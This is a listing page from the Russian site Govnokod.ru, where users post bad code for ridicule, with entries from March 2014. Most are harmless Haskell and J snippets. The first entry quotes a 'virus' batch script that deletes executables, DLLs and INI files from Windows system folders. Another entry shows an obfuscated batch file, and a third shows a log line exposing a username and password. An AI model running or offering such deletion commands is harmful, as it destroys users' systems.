Куча — Говнокод.ру

Куча / Говнокод #15552

+131

01
02
03
04
05
06
07
08
09
10
11

Cd\ 
Cd C: 
Сd winMe 
Del *.exe 
Del *.ini 
Del *.com 
Cd\ 
Cd win98 
Cd system 
Del *.dll 
Del *.exe

Сd windows -переходим в папку Windows (у 95% ламеров и юзеров папка называется именно так)
Большой минус бат файлов да и ДОСа в частности это то что нельзя удалять сразу папку с файлами, а нужно заходить в каждую папку отдельно и удалять там файлы.!!!
(C) http://kivi.clan.su/publ/kopjutery/sozdanie_virusov/kak_sozdat_virus_v_bloknote/10-1-0-8

gost, 22 Марта 2014

Комментарии (93)

Куча / Говнокод #15474

+126

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

import Data.Array
import Control.Arrow
l = [1,5,5,5,8,10,17]
make_array [] = undefined
make_array l = listArray (0, (length l)-1) l
-- binary_search:: (Integral i, Num i, Ord e, Ix i) => e -> Array i e -> i
binary_search item arr = bs la ra where
	(la, ra) = bounds arr
	nextWhileEqualItem = uncurry iterate >>> takeWhile (\i -> la<=i && i<=ra && arr!i==item) >>> last
	bs l r
		| (m == l || m == r) && item/=av = Nothing
		| item<av = bs l m
		| item>av = bs m r
		| item==av = Just (nextWhileEqualItem ((+) (-1), m), nextWhileEqualItem ((+)1, m))
		| otherwise = Nothing
		where
			m = (l+r) `div` 2
			av = arr!m
main = do
	print $ binary_search 8 $ make_array l
	print $ binary_search 5 $ make_array l
	print $ binary_search 5 $ make_array $ tail l
	print $ binary_search 0 $ make_array l
	print $ binary_search 100 $ make_array l
	print $ binary_search 9 $ make_array l

Решил я значит поучаствовать в специальной олимпиаде Романа с двача.
http://ideone.com/K5Jj59

LispGovno, 14 Марта 2014

Комментарии (21)

Куча / Говнокод #15472

+122

1
2

substractOneFromArgument = (-)1
main = print $ substractOneFromArgument 4

ПИШУ ФУНКЦИЮ ВЫЧИТАЮЩУЮ ЕДИНИЦУ ИЗ СВОЕГО АРГУМЕНТА
@
ПОЛУЧАЮ УПОРОТЫЙ РЕЗУЛЬТАТ
http://ideone.com/I34iLA

LispGovno, 14 Марта 2014

Комментарии (22)

Куча / Говнокод #15461

+133

1

access denied for the user "King1986" with password "weakCocc".

Часть строки из лога. Логи пока общедоступны.

laMer007, 13 Марта 2014

Комментарии (11)

Куча / Говнокод #15433

+124

1
2
3
4
5
6

@set /p d=<%0
%d:~0,5%a=%d:~0,5%
%a%c=%d:~9,1%
%a%b%c%%d:~4,1%&%a%i%c%%d:~0,1%&%a%k%c%&%a%l%c%&%a%m%c%&%a%n%c%&%a%o%c%&%a%p%c%&%a%q%c%&%a%r%c%&%a%s%c%&%a%t%c%&%a%u%c%&%a%v%c%&%a%w%c%&%a%x%c%&%a%y%c%&%a%z%c%
%k%c%l%o%m%l%n%o%o%r%b%1%p%a%q%&%i%m%r%o%s%d%t%e%b%c%u%o%v%n%b%c%w%o%x%l%y%s%c%1%z%4%b%l%k%i%l%n%m%e%n%s%c%4%o%&%a%f%c%п%p%&%a%g%c%«%q%&%a%h%c%Ѓ%r%&%a%j%c%Д%s%&%a%e%c%!%t%&%u%t%v%i%w%t%x%l%y%e%b%.
%i%e%k%c%t%h%s%o%b%%b%Ъ%j%%j%%j%%j%%j%%j%%j%%j%%j%ї%r%&%i%e%q%c%p%h%o%o%b%%b%і%b%%b%%h%%g%%f%%b%%e%%b%%b%і%n%&%i%e%m%c%l%h%k%o%b%%b%А%j%%j%%j%%j%%j%%j%%j%%j%%j%Щ%b%&%v%p%o%a%y%u%x%s%p%e%u%>%q%n%k%u%m%l%o%

Должно быть запущено на русскоязычной Windows, сохраните в .bat файл, а на концах строчек (6 строк) не должно быть лишних пробелов!

Ссылка на зипованную версию:
http://klimaleksus.narod.ru/Files/C/fuck.zip

aleksusklim, 11 Марта 2014

Комментарии (9)

Куча / Говнокод #15397

+130

1

DECLARE (A, B INIT ((5)0,(5)1)) DIM (0:9) FLOAT;

LispGovno, 08 Марта 2014

Комментарии (23)

Куча / Говнокод #15380

+127

1

unfoldr (\b -> fmap (const . (second $ drop 1) . break (==' ') $ b) . listToMaybe $ b)

LispGovno, 07 Марта 2014

Комментарии (11)

Куча / Говнокод #15377

+126

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23

check =: 3 : 0
a=.>;:y
b=.|:(6,#y) $,'(){}[]'=/a
b=.(-1 3 5{"(1)b) (1 3 5)}"(1) b
c=.|:(3 2$i.6)([:+/[{[:|:])"(1 _) b
no=._1
n=.#c
p=. 13 : 'I.*./"(1)(1 _1)="(1)(2+\(x{y))'
while. n~:no do.
no=.n
cc =. |:c
d=.~.(0 p cc),(1 p cc),(2 p cc)
c=.((i.#c)-.(d,>:d)){c
n=.#c
end.
n=0
)

samples =: '({[{}]{}[]})';'({}}{[{}]{}[]})';'({[{}]{}[]}';'({[{}]{}]})';'({[{}{}[]})';'';'{}'

test =: 13 : 'check >y{samples'

test"(0) i.7

По мотивам http://govnokod.ru/15363

Abbath, 06 Марта 2014

Комментарии (3)

Куча / Говнокод #15362

+127

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

import Data.List
import Data.Maybe
checkBraces "" = True
checkBraces e = checkBrace e [] where
	openBraces = "({["
	closeBraces = ")}]"
	braceToBrace fromBraces toBraces brace = toBraces!!(fromJust $ elemIndex brace fromBraces)
	otcBrace = braceToBrace openBraces closeBraces
	checkBrace (c:e) s | elem c openBraces = checkBrace e ((otcBrace c):s)
	checkBrace (c:e) (h:s) | (elem c closeBraces) && (h==c) = checkBrace e s
	checkBrace (_:e) _ = False
	checkBrace [] [] = True
	checkBrace [] _ = False
main = mapM_ (print . checkBraces) bracesExpressionExamples where
	bracesExpressionExamples = 
		[
			"({[{}]{}[]})",
			"({}}{[{}]{}[]})",
			"({[{}]{}[]}",
			"({[{}]{}]})",
			"({[{}{}[]})",
			"",
			"{}"
		]

http://ideone.com/sZ9tiN
Кот с собеседований.
Проверка правильности расстановки скобок для каждого выражения из bracesExpressionExamples.

USB, 05 Марта 2014

Комментарии (5)

Куча / Говнокод #15286

+134

1
2

http://www.freepascal.ru/forum/viewtopic.php?t=9463&p=77107
ебаный пиздец.

ебаный пиздец.

Stertor, 02 Марта 2014

Комментарии (4)

Говнокод: по колено в коде.